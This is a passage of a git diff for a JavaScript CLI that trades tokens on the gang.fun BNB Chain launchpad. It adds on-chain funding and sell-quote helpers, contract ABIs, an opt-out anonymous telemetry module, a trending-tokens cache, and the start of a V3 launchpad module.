hint: `the Agentic Wallet may not sign on chain ${ctx.chainId}: re-run with --calldata to get the raw tx`, + } + } + return summarize(p, extra) +} + +/** + * `token` funding for `need` toward `spender`: wrap BNB first (WBNB), then approve. A step object, or null when ready. + * approveStep names the approve step in the output (`approve-quote` for a quote, `approve` for selling a token). + */ +export async function fundingStep(ctx, { me, token, need, spender, sym, approveStep = 'approve-quote' }, rawOnly, summarize) { + const bal = await ctx.read(token, ERC20_ABI, 'balanceOf', [me]) + if (bal < need) { + if (token.toLowerCase() !== ctx.wbnb.toLowerCase()) { + return { success: false, error: `not enough ${sym || 'quote'}`, have: await units(ctx, token, bal), need: await units(ctx, token, need) } + } + const missing = need - bal + const native = await ctx.client.getBalance({ address: me }) + if (native < missing) { + return { success: false, error: 'not enough BNB', haveBnb: formatUnits(native, 18), needBnb: formatUnits(missing, 18) } + } + return step(ctx, { from: me, to: token, data: encodeFunctionData({ abi: WBNB_ABI, functionName: 'deposit' }), value: missing }, + { step: 'wrap-bnb', wrap: formatUnits(missing, 18), note: 'after executing, re-run the same command' }, rawOnly, summarize) + } + if ((await ctx.read(token, ERC20_ABI, 'allowance', [me, spender])) < need) { + return step(ctx, { from: me, to: token, data: encodeFunctionData({ abi: ERC20_ABI, functionName: 'approve', args: [spender, need] }) }, + { step: approveStep, approve: await units(ctx, token, need), ...(approveStep !== 'approve-quote' && { token }), spender, note: 'after executing, re-run the same command' }, + rawOnly, summarize) + } + return null +} + +export const parseNum = (fail, name, raw, min, max) => { + const n = Number(raw) + if (raw == null || !Number.isFinite(n) || n < min || n > max) fail(`--${name} must be a number between ${min} and ${max}`, { got: raw }) + return n +} +export const parseIntIn = (fail, name, raw, min, max) => { + const n = Number(raw) + if (!Number.isInteger(n) || n < min || n > max) fail(`--${name} must be an integer between ${min} and ${max}`, { got: raw }) + return n +} +/** A positive decimal amount flag (e.g. --amount 0.5), as written: callers scale it with the token's decimals. */ +export const parseAmount = (fail, name, raw) => { + if (raw == null || !/^(\d+(\.\d*)?|\.\d+)$/.test(String(raw).trim()) || !(Number(raw) > 0)) { + fail(`--${name} must be a positive number (e.g. 0.5)`, { got: raw ?? null }) + } + return String(raw).trim() +} + +/** + * Reference pool `create` uses when --ref-pool is left out: mainnet USDT → Pancake V3 USDT/WBNB 0.01% (the deepest; + * its 30-min TWAP prices the graduation target / raise). Other quotes need an explicit --ref-pool. + */ +const DEFAULT_REF_POOLS = { + 56: { '0x55d398326f99059ff775485246999027b3197955': '0x172fcD41E0913e95784454622d1c3724f546f849' }, +} +export const defaultRefPool = (chainId, quote) => DEFAULT_REF_POOLS[Number(chainId)]?.[String(quote || '').toLowerCase()] || null + +/** The shared dividend vault (V3 and 打新). */ +export const VAULT_ABI = parseAbi([ + 'function pending(address token, address user) view returns (uint256)', + 'function pendingUnits(address token, address user) view returns (uint256)', + 'function shares(address token, address user) view returns (uint256)', + 'function claim(address token) returns (uint256)', + 'error NothingToClaim()', 'error UnknownToken()', + 'event DividendClaimed(address indexed token, address indexed user, uint256 amount)', +]) + +/** + * The pool-tax handler of a graduated V3 / launched 打新 token (GangTaxHandler since the merge, one for both kinds; before + * it TaxHandlerV3 / HolderRewardHandler; all PostGradHandlerBase). + * The tax is held in the token and sold in chunks: each token has one budget per block, at most 0.5% of the pair's token + * side as it stood at the block's first chunk, shared by the chunk a taxed sell triggers (≤ 25% of that sell) and the + * keeper; no chunk sells more than 2% below that block-start price. + */ +export const POOL_HANDLER_ABI = parseAbi([ + 'function previewSellNextBlock(address token, uint256 amountIn) view returns (uint256 quoteOut, uint256 chunk)', + 'function previewSell(address token, uint256 amountIn) view returns (uint256 quoteOut, uint256 chunk)', + 'function accruedTax(address token) view returns (uint256)', + 'function maxChunk(address token) view returns (uint256)', + 'function windowOf(address token) view returns (uint64 blockNumber, uint96 used)', + 'function refOf(address token) view returns (uint112 refT, uint112 refQ)', + 'function CHUNK_MAX_BPS() view returns (uint256)', + 'function MAX_PRICE_DROP_BPS() view returns (uint256)', +]) + +/** + * The call reverted with no data, or returned nothing ("0x"): the function is not on that contract (an older + * deployment). An RPC failure (timeout, HTTP error) or a revert with a reason is not that. + */ +export function isMissingFunction(e) { + if (e?.walk?.((x) => x?.name === 'ContractFunctionZeroDataError' || x?.name === 'AbiDecodingZeroDataError')) return true + const raw = e?.walk?.((x) => typeof x?.data === 'string')?.data + if (raw && raw !== '0x') return false + return !!e?.walk?.((x) => x?.code === 3 || x?.name === 'ExecutionRevertedError') +} + +/** + * What selling `amountIn` of `token` into its pool pays (after the sell tax, the chunk it triggers sold first), for the + * seller's amountOutMin: `previewSellNextBlock` — the tx lands in a later block, with a fresh chunk budget. Only a + * handler from before it (no such function) falls back to `previewSell` (this block). null on any other failure (RPC, + * a revert with a reason) or when neither answers: no quote rather than a wrong one. + */ +export async function poolSellQuote(ctx, handler, token, amountIn) { + const ask = async (fn) => { + const [out, chunk] = await ctx.read(handler, POOL_HANDLER_ABI, fn, [token, amountIn]) + return { out, chunk, quotedWith: fn } + } + try { + return await ask('previewSellNextBlock') + } catch (e) { + if (!isMissingFunction(e)) return null + } + try { return await ask('previewSell') } catch { return null } +} + +/** + * The swap-back state of a graduated token, all read at the latest block: + * - unsoldTaxTokens: tax held and not sold yet; + * - budgetPerBlockTokens: the per-block budget a new block opens (CHUNK_MAX_BPS of the pool's token side now); + * - budgetLeftInLatestBlockTokens: what the latest block's budget still allows — the whole budget when no chunk ran + * in it (windowOf is an earlier block), else the budget fixed at that block's first chunk minus what was sold since; + * - nextChunkTokens (maxChunk): the largest chunk that could be sold in the latest block — the least of the unsold + * tax, what the handler holds of it, and the budget left. A sell's own chunk is further capped at 25% of that sell. + * Handlers from before the per-block budget (one chunk per block) have no windowOf: `budget: 'one chunk per block (older handler)'`. + */ +export async function swapBackState(ctx, handler, token, reserveToken) { + let blockNumber + try { blockNumber = await ctx.client.getBlockNumber() } catch { return null } + const at = (fn, args = []) => ctx.client.readContract({ address: handler, abi: POOL_HANDLER_ABI, functionName: fn, args, blockNumber }) + const [unsold, next, win, ref, chunkBps, dropBps] = await Promise.all([ + at('accruedTax', [token]).catch(() => null), + at('maxChunk', [token]).catch(() => null), + at('windowOf', [token]).catch(() => null), + at('refOf', [token]).catch(() => null), + at('CHUNK_MAX_BPS').catch(() => 50n), + at('MAX_PRICE_DROP_BPS').catch(() => null), + ]) + if (unsold == null) return null + const base = { unsoldTaxTokens: formatUnits(unsold, 18) } + if (!win) return { ...base, budget: 'one chunk per block (older handler)' } + const [winBlock, used] = win + const budget = (reserveToken * chunkBps) / 10_000n + let left = budget + if (winBlock === blockNumber) { + // a chunk ran in the latest block: its budget was fixed by the reserves at that block's first chunk attempt + const cap = ref && ref[0] > 0n ? (ref[0] * chunkBps) / 10_000n : budget + left = used >= cap ? 0n : cap - used + } + const drop = dropBps != null ? Number(dropBps) / 100 : 2 + return { + ...base, + budgetPerBlockTokens: formatUnits(budget, 18), + budgetLeftInLatestBlockTokens: formatUnits(left, 18), + nextChunkTokens: next == null ? null : formatUnits(next, 18), + latestBlock: Number(blockNumber), + lastChunkBlock: Number(winBlock) || null, + ...(dropBps != null && { pausesBelowBlockStartPct: drop }), + note: `each block, the chunks sold from the held tax (those triggered by sells and the keeper's together) add up to at most ${Number(chunkBps) / 100}% of the pool's token side; ` + + `no chunk is sold while the price is more than ${drop}% below where the block started. Each new block opens a fresh budget. ` + + 'nextChunkTokens is the largest chunk the latest block still allows (unsold tax and budget left, whichever is less); a sell triggers at most 25% of its own amount.', + } +} + +/** Hint for selling a graduated / launched token on PancakeSwap with the minOut of a pool quote (poolSellQuote) as amountOutMin. */ +export const POOL_SELL_HINT = '`gang sell` builds this sell through GangRouter (poolSell / --to-bnb poolSellForBNB, minOut as here); ' + + 'or sell on PancakeSwap with swapExactTokensForTokensSupportingFeeOnTransferTokens (the token takes its sell tax in the transfer), passing minOut (poolQuote.minOut / poolSellAll.minOut, set by --slippage) as amountOutMin so the sell reverts rather than fills below it; ' + + 'the quote includes the small chunk of tax the handler sells right before a sell and assumes the tx lands in a new block (previewSellNextBlock). ' + + 'Let the wallet estimate gas, or give at least 750k: a sell that triggers a chunk uses about 660k (about 330k without), and too little gas reverts with SwapBackOutOfGas' + +/** + * `me`'s dividend / holder reward on a V3 or 打新 token from the shared vault: `pending` = settled quote, claimable now; `pendingUnits` = tax + * already credited to `me` when it was paid (in tax tokens) whose batch is not sold yet — it becomes claimable quote + * once sold, and is valued here at `priceRaw` (quote wei per token) as an estimate only. Vaults from before the + * tax-time crediting have no pendingUnits: those report null. + */ +export async function dividendOf(ctx, vault, token, me, quote, priceRaw) { + const [pending, share, unitsRaw] = await Promise.all([ + ctx.read(vault, VAULT_ABI, 'pending', [token, me]), + ctx.read(vault, VAULT_ABI, 'shares', [token, me]), + ctx.read(vault, VAULT_ABI, 'pendingUnits', [token, me]).catch(() => null), + ]) + return { + claimable: await units(ctx, quote, pending), claimableRaw: pending, + dividendShare: formatUnits(share, 18), + creditedUnsoldTokens: unitsRaw == null ? null : formatUnits(unitsRaw, 18), + creditedUnsoldEstimate: unitsRaw == null || !priceRaw ? null : await units(ctx, quote, (unitsRaw * priceRaw) / 10n ** 18n), + ...(unitsRaw > 0n && { note: 'creditedUnsold: tax credited to you when it was paid, claimable once that batch is sold (estimate at the current price)' }), + } +} diff --git a/src/telemetry.js b/src/telemetry.js new file mode 100644 index 0000000..cb9c2da --- /dev/null +++ b/src/telemetry.js @@ -0,0 +1,131 @@ +/** + * Anonymous usage counts, on by default; GANG_TELEMETRY=0 (or DO_NOT_TRACK=1) turns them off. + * One event per command: its name, the flag names (never their values), whether it succeeded and, when not, a short + * error code. `gang preflight` adds which checks passed. The only id is a random one (~/.gang/install-id); no wallet, + * address, amount, token, note text or flag value goes out. gang.fun uses it to see where agents get stuck before a + * first trade. + * Events queue in ~/.gang/events.ndjson and a detached child posts them to POST /api/t at most once a minute, so a + * command never waits on the network; a failed post is dropped. + */ +import { randomUUID } from 'node:crypto' +import { spawn } from 'node:child_process' +import { appendFileSync, mkdirSync, readFileSync, renameSync, statSync, unlinkSync, utimesSync, writeFileSync } from 'node:fs' +import { homedir } from 'node:os' +import { join } from 'node:path' +import { fileURLToPath } from 'node:url' +import { API } from './discover.js' +import { UA, VERSION } from './version.js' + +const DIR = process.env.GANG_TELEMETRY_DIR || join(homedir(), '.gang') +const ID_FILE = join(DIR, 'install-id') +const QUEUE = join(DIR, 'events.ndjson') +const STAMP = join(DIR, 'events.flush') // mtime = last flush start +const FLUSH_MS = 60_000 +const QUEUE_MAX_BYTES = 64 * 1024 // offline for long: stop queueing rather than grow the file +const BATCH = 50 // the server takes 1–50 events per post +const POST_TIMEOUT_MS = 10_000 +const SELF = fileURLToPath(import.meta.url) + +const UUID = /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/ +const NAME = /^[a-z0-9-]{1,24}$/ +const CODE = /^[A-Za-z0-9_.:-]{1,48}$/ +const MAX_FLAGS = 16 +// commands whose second word is a subcommand (gang fly mint, gang bond create, …) +const WITH_SUB = new Set(['fair', 'v3', 'fly', 'bond', 'buyback', 'split', 'lp', 'combo', 'creator-fee']) + +export const enabled = () => process.env.GANG_TELEMETRY !== '0' && process.env.DO_NOT_TRACK !== '1' + +/** The random install id, created on first use; null when it can't be read or written. */ +export function installId() { + try { + const id = readFileSync(ID_FILE, 'utf8').trim() + if (UUID.test(id)) return id + } catch { /* first run */ } + try { + const id = randomUUID() + mkdirSync(DIR, { recursive: true, mode: 0o700 }) + writeFileSync(ID_FILE, `${id}\n`, { mode: 0o600 }) + return id + } catch { return null } +} + +/** + * A short code for a failed command: the result's own code (preflight issue, baw code, follow reason) when it has one, + * else a coarse class read from the message. The message itself never leaves the machine. + */ +export function codeOf(o = {}) { + for (const v of [o.code, o.errorName, o.issues?.[0]?.code]) { + if (v != null && CODE.test(String(v)) && !/^0x/i.test(String(v))) return String(v) + } + const msg = String(o.error ?? '') + if (/^[A-Z][A-Za-z0-9]{2,47}$/.test(msg)) return msg // a custom error name (NotAgent, PaceExceeded, …) + // only a word-like reason (follow's not_found, fly's pace): a revert's `reason` is its first argument, maybe an address or amount + if (/^[a-z][a-z_]{1,31}$/.test(String(o.reason ?? ''))) return o.reason + const baw = msg.match(/\(code (\d{1,10})\)/) + if (baw) return baw[1] + if (/Agent ID/i.test(msg)) return 'NO_AGENT_ID' + if (/baw auth signin|not signed in/i.test(msg)) return 'NOT_SIGNED_IN' + if (/unreachable|timed out|fetch failed|ECONN|ENOTFOUND|API 5\d\d/i.test(msg)) return 'NETWORK' + if (/revert/i.test(msg)) return 'REVERT' + if (/^--|must be|needs|only applies|unknown|usage/i.test(msg)) return 'USAGE' + return 'ERROR' +} + +/** The event for one command (argv after `gang`) and its JSON result. */ +export function eventOf(argv, o = {}) { + const c = NAME.test(argv[0] ?? '') ? argv[0] : 'other' + const s = WITH_SUB.has(c) && NAME.test(argv[1] ?? '') ? argv[1] : '' + const f = [...new Set(argv.filter((a) => a.startsWith('--')).map((a) => a.slice(2)))].filter((n) => NAME.test(n)).slice(0, MAX_FLAGS) + const ok = o.success !== false + const pf = c === 'preflight' + ? { signedIn: o.status === 'CONNECTED', agent: o.isAgent ?? null, dev: o.devMode ?? null, all: o.tradeAllTokens ?? null } + : null + return { t: Math.floor(Date.now() / 1000), c, s, f, ok, code: ok ? '' : codeOf(o), pf } +} + +let recorded = false + +/** Queue this process's event (only its first result counts) and start a flush if the last one was a minute ago. Never throws. */ +export function record(argv, o) { + if (recorded || !enabled()) return + recorded = true + try { + let size = 0 + try { size = statSync(QUEUE).size } catch { /* empty */ } + if (size > QUEUE_MAX_BYTES) return + mkdirSync(DIR, { recursive: true, mode: 0o700 }) + appendFileSync(QUEUE, `${JSON.stringify(eventOf(argv, o))}\n`, { mode: 0o600 }) + let last = 0 + try { last = statSync(STAMP).mtimeMs } catch { /* never flushed */ } + if (Date.now() - last < FLUSH_MS) return + // stamp first, so commands run meanwhile don't each start a flush + try { utimesSync(STAMP, new Date(), new Date()) } catch { writeFileSync(STAMP, '') } + spawn(process.execPath, [SELF, 'flush'], { detached: true, stdio: 'ignore', windowsHide: true }).unref() + } catch { /* telemetry never breaks a command */ } +} + +/** Runs in the detached child: take the queue, post it in batches, drop it either way. */ +export async function flush() { + const id = installId() + const taken = `${QUEUE}.${process.pid}.sending` + try { renameSync(QUEUE, taken) } catch { return } + try { + if (!id) return + const events = readFileSync(taken, 'utf8').split('\n').flatMap((l) => { + try { return l ? [JSON.parse(l)] : [] } catch { return [] } + }) + for (let i = 0; i < events.length; i += BATCH) { + const r = await fetch(`${API}/t`, { + method: 'POST', + headers: { 'content-type': 'application/json', 'user-agent': UA }, + body: JSON.stringify({ i: id, v: VERSION, e: events.slice(i, i + BATCH) }), + signal: AbortSignal.timeout(POST_TIMEOUT_MS), + }) + if (!r.ok) break + } + } catch { /* offline, or an older server without /t */ } finally { + try { unlinkSync(taken) } catch { /* gone */ } + } +} + +if (process.argv[1] === SELF && process.argv[2] === 'flush') flush() diff --git a/src/trending.js b/src/trending.js new file mode 100644 index 0000000..bf4445e --- /dev/null +++ b/src/trending.js @@ -0,0 +1,102 @@ +/** + * What other agents are buying right now, from gang.fun (GET /api/trending): the tokens with the most distinct agent + * buyers in the last 6h (creators, bulk-buying bots and platform wallets left out) and up to 3 followable notes by + * authors who hit at least 60% of their judged calls. + * `gang trending` prints it; `gang preflight` and `gang list` carry it as `trending`. Cached 5 minutes in + * ~/.gang/trending.json with a short timeout, so it never slows a command down much, and it's simply left out when gang.fun + * doesn't answer. + * For a wallet that has never traded on Gang (GET /api/ref/eligible), 铸币飞轮 sales and the calls on them are left out: + * a first trade is pointed at a curve token instead. + */ +import { mkdirSync, readFileSync, renameSync, writeFileSync } from 'node:fs' +import { homedir } from 'node:os' +import { dirname, join } from 'node:path' +import { API } from './discover.js' +import { noteRow } from './feed.js' +import { UA } from './version.js' + +const CACHE = process.env.GANG_TRENDING_CACHE || join(homedir(), '.gang', 'trending.json') +const TTL_MS = 5 * 60_000 +const TIMEOUT_MS = 3_000 +const ADDR = /^0x[0-9a-fA-F]{40}$/ +export const TRENDING_NOTE = 'What other agents are buying now, not a recommendation. Mention it only when it helps the user; never buy from it on your own.' +export const FIRST_TRADE_NOTE = 'This wallet has not traded on Gang yet, so 铸币飞轮 (Mint Flywheel) sales are left out here: a first trade is simpler on a curve token. gang list --kind fly still lists them.' + +function readCache() { + try { + const c = JSON.parse(readFileSync(CACHE, 'utf8')) + const age = Date.now() - c.fetchedAt + return age >= 0 && age < TTL_MS ? c : null + } catch { return null } +} + +function writeCache(body) { + try { + mkdirSync(dirname(CACHE), { recursive: true, mode: 0o700 }) + writeFileSync(`${CACHE}.${process.pid}.tmp`, JSON.stringify({ fetchedAt: Date.now(), body })) + renameSync(`${CACHE}.${process.pid}.tmp`, CACHE) + } catch { /* next command fetches again */ } +} + +const tokenRow = (t) => ({ + symbol: t.symbol ?? null, name: t.name ?? null, address: t.address, track: t.track ?? null, + progressPct: t.progressPct ?? null, buyers6h: t.buyers6h ?? null, change24h: t.change24h ?? null, + volume24hUsd: t.volume24hUsd ?? null, link: `https://gang.fun/token/${t.address}`, next: `gang info --token ${t.address}`, +}) + +/** + * Whether `wallet` has never traded on Gang: true / false from gang.fun (GET /api/ref/eligible, which `--ref` also asks), + * null when there is no wallet or no answer (then nothing is left out). Not cached: a wallet stops being new on its first trade. + */ +export async function firstTrade(wallet) { + if (!ADDR.test(wallet ?? '')) return null + try { + const r = await fetch(`${API}/ref/eligible?${new URLSearchParams({ wallet })}`, { headers: { accept: 'application/json', 'user-agent': UA }, signal: AbortSignal.timeout(TIMEOUT_MS) }) + if (!r.ok) return null + const b = await r.json() + return b?.eligible === true ? true : b?.reason === 'already_traded' ? false : null + } catch { return null } +} + +const isFly = (track) => String(track ?? '').toLowerCase() === 'fly' + +/** + * → { at, tokens, calls } (rendered rows), or null when gang.fun has no answer. A miss is cached too, so a down server costs + * one timeout per 5 minutes. wallet: the signed-in wallet; when it has never traded on Gang, 铸币飞轮 rows are dropped and + * `firstTrade: { flyLeftOut, note }` says so (only when something was dropped). + */ +export async function trending({ wallet = null } = {}) { + const fresh = firstTrade(wallet) + const c = readCache() + let body = c ? c.body : undefined + if (body === undefined) { + try { + const r = await fetch(`${API}/trending`, { headers: { accept: 'application/json', 'user-agent': UA }, signal: AbortSignal.timeout(TIMEOUT_MS) }) + body = r.ok ? await r.json() : null + } catch { body = null } + writeCache(body) + } + if (!body || !Array.isArray(body.tokens) || !Array.isArray(body.calls)) return null + let tokens = body.tokens.filter((t) => ADDR.test(t?.address ?? '')) + let calls = body.calls.filter((n) => n?.tx) + let left = 0 + if (await fresh) { + const before = tokens.length + calls.length + tokens = tokens.filter((t) => !isFly(t.track)) + calls = calls.filter((n) => !isFly(n.token?.track)) + left = before - tokens.length - calls.length + } + return { + at: body.at ?? null, + tokens: tokens.slice(0, 5).map(tokenRow), + calls: calls.slice(0, 3).map(noteRow), + ...(left && { firstTrade: { flyLeftOut: left, note: FIRST_TRADE_NOTE } }), + } +} + +/** The `trending` block other commands carry: only when there's something in it. */ +export async function trendingBlock(opts) { + const t = await trending(opts) + if (!t || (!t.tokens.length && !t.calls.length)) return null + return { tokens: t.tokens, calls: t.calls, more: 'gang trending', note: TRENDING_NOTE, ...(t.firstTrade && { firstTrade: t.firstTrade }) } +} diff --git a/src/v3.js b/src/v3.js new file mode 100644 index 0000000..b3f7d51 --- /dev/null +++ b/src/v3.js @@ -0,0 +1,721 @@ +import { createPublicClient, parseAbi, encodeFunctionData, decodeEventLog, formatUnits, parseUnits, isAddress, zeroAddress } from 'viem' +import { decimalsOf, defaultRefPool, dividendOf, VAULT_ABI, fundingStep as fund, parseAmount, parseNum, poolSellQuote, POOL_SELL_HINT, revertOf as revertIn, ROUTER_ABI as GANG_ROUTER_ABI, ROUTER_HINTS, routerDeadline, step, swapBackState, units, viaRouter, GAS_RESERVE } from './steps.js' +import { API } from './discover.js' +import { UA } from './version.js' +import { walletFor } from './fair.js' +import { atTokenPad, CREATOR_FEE_ABI, genFields, GRAD_TARGET_ABI, gradTargetBnbOf, gradTiersOf, KIND_UNREAD, MERGED_ERRORS_ABI, MERGED_HINTS, NOT_ON_MAINNET, notThisKind, PAD3_GEN, padNets, rpcTransport, tokenVaultOf, VAULT_GEN, VAULT_NO_BOND, vaultGenOf, vaultModeOf } from './gangpad.js' +import { createNote, curveCreatorFee } from './creatorfee.js' +import { poolPayBnb, poolTrade } from './pool.js' +import { bondGuard } from './bond.js' +import { splitterOf } from './buyback.js' +import { splitOf } from './split.js' +import { lpOf } from './lp.js' +import { comboOf, decoyWarning } from './combo.js' + +/** + * `gang v3 …` — LaunchpadV3 (tax recipient): a token with its own buy / sell tax (1–5% each), a dividend share and a + * recipient (the creator itself, or a whitelisted partner such as its treasury) paid in the quote token. The tax is charged only in the PancakeSwap + * pool after graduation (the platform keeps 0.5% of that volume); curve trades pay only the 1% fee, no tax. + * Contracts: gang-launchpad GangLaunchpad (merged pad: V3 curves and 打新 sales on one address; see gangpad.js). + * Mainnet needs a pad address (GANG_PAD or the one shipped in gangpad.js); without it mainnet answers "no mainnet address". + */ +export const V3_NETS = padNets('v3') + +const TAX = '(uint16 buyTaxBps, uint16 sellTaxBps, uint16 dividendBps, address recipient)' +const PAD_ABI = parseAbi([ + `function create(string name, string symbol, string logoURI, string metaURI, address quote, address refPool, ${TAX} tax) returns (address)`, + `function createWithGradTarget(string name, string symbol, string logoURI, string metaURI, address quote, address refPool, ${TAX} tax, uint256 gradBnb) returns (address)`, + // 2.0 金库版 (GangVaultLaunchpad): its only create, binding the token to a listed vault for good; 3.0 has the same once + // an upgrade added its vault mode (vaultModeOf), beside its other creates + `function createWithVault(string name, string symbol, string logoURI, string metaURI, address quote, address refPool, ${TAX} tax, uint256 gradBnb, address vault) returns (address)`, + 'function isVault(address vault) view returns (bool)', + 'function vaultOf(address token) view returns (address)', + 'function vaultCreator(address vault) view returns (address)', + 'function lockedOf(address token, address user) view returns (uint256)', + // 3.0: the rule set the token was created under (0 = not this pad's token) + 'function tokenVersionOf(address token) view returns (uint8)', + 'function buy(address token, uint256 quoteIn, uint256 minTokensOut) returns (uint256)', + 'function sell(address token, uint256 tokensIn, uint256 minQuoteOut) returns (uint256)', + `function checkTaxConfig(${TAX} tax) view returns (bool ok, string reason)`, + `function checkTaxConfigFor(address creator, ${TAX} tax) view returns (bool ok, string reason)`, + 'function curves(address token) view returns (address creator, address quote, uint128 realQuote, uint128 sold, uint128 gradAmt, uint128 virtualQuote, bool graduated, uint16 buyTaxBps, uint16 sellTaxBps, uint16 dividendBps, address pair, address refPair)', + 'function taxConfigOf(address token) view returns (uint16 buyTaxBps, uint16 sellTaxBps, uint16 dividendBps, address recipient)', + 'function isAgent(address account) view returns (bool)', + 'function walletRoom(address token, address buyer) view returns (uint256)', + 'function graduationRemaining(address token) view returns (uint256)', + 'function graduationAmountOf(address quote, address refPool) view returns (uint256)', + 'function taxHandler() view returns (address)', + 'function dividendVault() view returns (address)', + 'function router() view returns (address)', + 'function recipientRegistry() view returns (address)', + 'function PROTOCOL_FEE_BPS() view returns (uint256)', + 'function PLATFORM_TAX_BPS() view returns (uint256)', + 'error UnknownToken()', 'error AlreadyGraduated()', 'error ZeroAmount()', 'error GradAmtTooSmall()', 'error Slippage()', + 'error MigratorNotSet()', 'error ZeroAddress()', 'error NotAgent()', 'error WalletCapReached()', 'error RefPoolRequired()', + 'error NoBridgePool()', 'error BridgeNotWbnb()', 'error BadTaxConfig(string reason)', + 'error PoolNotFactory()', 'error QuoteNotInPool()', 'error PoolNoLiquidity()', 'error ThinReferencePool()', 'error NotContract()', + 'error UnknownPoolType()', 'error QuoteNotAllowed()', 'error RouterNeedsGate()', 'error V3FactoryNotSet()', 'error GradAmtZero()', + 'error VaultFloorTooHigh()', + 'error NotVault()', 'error VaultDelisted()', 'error VaultNotContract()', 'error VaultIsRouter()', 'error VaultCannotTrade()', + 'error UseVaultCreate()', 'error NotVaultCreator()', 'error TraderNotOrigin()', + 'event Created(address indexed token, address indexed creator, string name, string symbol, string logoURI, address indexed quote, address refPair, uint256 gradAmt)', + 'event TaxConfigured(address indexed token, uint16 buyTaxBps, uint16 sellTaxBps, uint16 dividendBps, address indexed recipient)', + 'event Buy(address indexed token, address indexed buyer, uint256 quoteIn, uint256 protocolFee, uint256 tax, uint256 tokensOut, uint256 realQuote)', + 'event Sell(address indexed token, address indexed seller, uint256 tokensIn, uint256 protocolFee, uint256 tax, uint256 quoteOut, uint256 realQuote)', + 'event Graduated(address indexed token, address indexed pair, address quote, uint256 tokenAmount, uint256 quoteAmount)', + // 2.0 金库版: the token's vault, and what the vault moves for a holder before graduation (through the pad) + 'event VaultBound(address indexed token, address indexed vault)', + 'event VaultLocked(address indexed token, address indexed vault, address indexed user, uint256 amount)', + 'event VaultReleased(address indexed token, address indexed vault, address indexed user, uint256 amount)', + 'event VaultSet(address indexed vault, bool enabled)', + 'event VaultCreatorSet(address indexed vault, address indexed creator)', + // 3.0, beside 2.0's events: the rule set at create, every curve trade's fee split and price, the aggregator entry + 'event TokenVersionSet(address indexed token, uint8 version)', + 'event TradeV1(address indexed token, address indexed trader, bool isBuy, uint256 quoteAmount, uint256 tokenAmount, uint256 protocolFee, uint256 creatorFee, uint256 postPrice, uint256 realQuote, uint256 sold)', + 'event GatewayBuy(address indexed token, address indexed trader, address indexed caller, uint256 fundsUsed, uint256 amountOut)', + 'event GatewaySell(address indexed token, address indexed trader, address indexed caller, uint256 amount, uint256 funds, uint256 fundsToSeller, uint256 routerFee, address feeRecipient)', + 'event GatewaySellTo(address indexed token, address indexed trader, address indexed to, address caller, uint256 amount, uint256 funds)', + 'event Routed(address indexed token, address indexed pad, address indexed trader, bool isBuy, uint256 quoteAmount, uint256 tokenAmount)', +]) +const TAX_ROUTER_ABI = parseAbi([ + 'function owedOf(address token) view returns (uint256)', + 'function release(address token) returns (uint256)', + 'error NothingOwed()', + 'event TaxDistributed(address indexed token, uint8 phase, uint256 amount, uint256 toPlatform, uint256 toDividend, uint256 toRecipient)', + 'event TaxPaid(address indexed token, address indexed recipient, address indexed quote, uint256 amount)', + 'event TaxOwed(address indexed token, address indexed recipient, address indexed quote, uint256 amount)', +]) +const REGISTRY_ABI = parseAbi([ + 'function isListed(address recipient) view returns (bool)', + 'function entries(address recipient) view returns (bool listed, uint64 listedAt, string label)', +]) +const ERC20_ABI = parseAbi([ + 'function balanceOf(address) view returns (uint256)', + 'function symbol() view returns (string)', +]) +const PAIR_ABI = parseAbi(['function getReserves() view returns (uint112, uint112, uint32)', 'function token0() view returns (address)']) + +// what to tell the agent for each pad error +const HINTS = { + BadTaxConfig: 'a tax setting is out of bounds, or the recipient is neither you nor on the whitelist: see reason', + NotAgent: 'this wallet holds no Agent ID; V3 create and curve trades are Agent-only', + WalletCapReached: 'this wallet already holds the per-wallet cap (1% of supply)', + BadGradTarget: 'the graduation target (--grad) must be one of the pad\'s GRAD_BNB_TIERS: 6 / 9 / 12 / 15 BNB raised', + AlreadyGraduated: 'the token graduated: re-run gang buy / gang sell, which now trade it in the PancakeSwap pool', + Slippage: 'the price moved past --slippage; re-run to re-quote', + RefPoolRequired: 'a non-WBNB --quote needs --ref-pool: a Pancake V2 pair or V3 pool that holds the quote token', + QuoteNotInPool: '--ref-pool does not contain the --quote token', + ThinReferencePool: '--ref-pool is too shallow; pick the deepest pool for this quote', + GradAmtTooSmall: 'the quote token is priced so high that the graduation amount rounds below the minimum', + NothingOwed: 'the router owes this token\'s recipient nothing', + QuoteNotAllowed: '--quote must be WBNB or an 18-decimal ERC-20 token (leave it out to use WBNB)', + PoolNotFactory: '--ref-pool is not a PancakeSwap V2 pair / V3 pool', + NotContract: '--ref-pool is not a contract', + UnknownPoolType: '--ref-pool is not a PancakeSwap V2 pair / V3 pool', + PoolNoLiquidity: '--ref-pool has no liquidity', + V3FactoryNotSet: 'V3 pools are not enabled on this pad yet; use a Pancake V2 pair as --ref-pool', + NoBridgePool: '--ref-pool pairs the quote with a token that has no bridge to WBNB here; pick a pool against WBNB (or USDT on mainnet)', + BridgeNotWbnb: 'the bridge pool for this --ref-pool is misconfigured; pick a pool against WBNB', + GradAmtZero: 'the quote token is priced so high that the target rounds to 0', + RouterNeedsGate: 'the router path is off while the Agent gate is off; re-run with --use-wbnb to buy directly', + // not a create flag: the shared dividend vault's holding floor for this pad was raised above what V3 allows (10,000 tokens) + VaultFloorTooHigh: 'the platform\'s dividend vault requires a larger holding than V3 dividends allow (10,000 tokens), so a dividend token can\'t be created right now; --dividend 0 still works, or ask gang to fix the vault setting', + // the vault mode (gang create --vault): 3.0 once upgraded, or the 2.0 金库版 pad + NotVault: '--vault is not a vault listed on this pad: gang lists each vault before its token is created', + NotVaultCreator: 'this wallet is not the one gang named for this vault (each named wallet creates one token): create from that wallet, or ask gang to name this one', + UseVaultCreate: 'the 2.0 金库版 pad creates only tokens bound to a listed vault: gang create --vault …', + VaultCannotTrade: 'a token\'s own vault never buys or sells it on the curve', + VaultDelisted: 'the token\'s vault was delisted: it takes no new locks (releases stay open)', + TraderNotOrigin: 'before graduation the pad moves tokens only for the wallet that sends the tx', +} +const VAULT_PAD_ONLY = 'the 2.0 金库版 pad creates only with --vault : gang create --vault …' + +/** What `gang tx` decodes a V3 trade's logs with (the pad and its 2.0 creator fee, the tax router, the dividend vault). */ +export const V3_EVENT_ABIS = [PAD_ABI, CREATOR_FEE_ABI, GRAD_TARGET_ABI, TAX_ROUTER_ABI, VAULT_ABI] +/** For test/gens.mjs: the pad ABI 